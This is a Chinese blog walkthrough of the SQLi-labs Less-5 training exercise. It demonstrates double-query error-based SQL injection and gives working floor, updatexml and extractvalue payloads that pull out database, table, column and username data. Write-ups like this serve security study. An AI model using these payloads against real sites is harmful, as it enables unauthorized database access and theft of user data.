码迷,mamicode.com
首页 > 其他好文 > 详细

Less(5)

时间:2019-12-22 16:46:53      阅读:93      评论:0      收藏:0      [点我收藏+]

标签:数据库   form   长度   需要   查询   数据库名   tables   format   value   

考查点:双查询报错注入

1.先判断注入类型

  技术图片

 

   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    技术图片

 

   (2)再输入?id=1‘

    技术图片

 

     显示报错,报错多了一个单引号

  (3)再输入?id=1‘‘

    技术图片

 

    判断是字符型注入

2.对列数进行判断    

  (1)输入?id=1‘ order by 3 --+

    技术图片

  (2)输入?id=1‘ order by 4 --+

    技术图片

 

   判断是3列

3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

    技术图片

 

 4.常用的报错语句模板:

  (1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

  (2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

   (3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

5.我们用floor进行注入

  (1)注当前的数据库名:?id=-1‘ union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+

    技术图片

 

   (2)爆注册表:?id=-1‘ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    技术图片

 

   (3)注某张表的字段,这里以users为例:?id=-1‘ union select 1,count(*),concat((select column_name from information_schema.columns where table_name=‘users‘ limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+ 

    技术图片

 

   (4)注字段的值,这里以users表里的username为例:?id=-1‘ union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    技术图片

Less(5)

标签:数据库   form   长度   需要   查询   数据库名   tables   format   value   

原文地址:https://www.cnblogs.com/meng-yu37/p/12079340.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!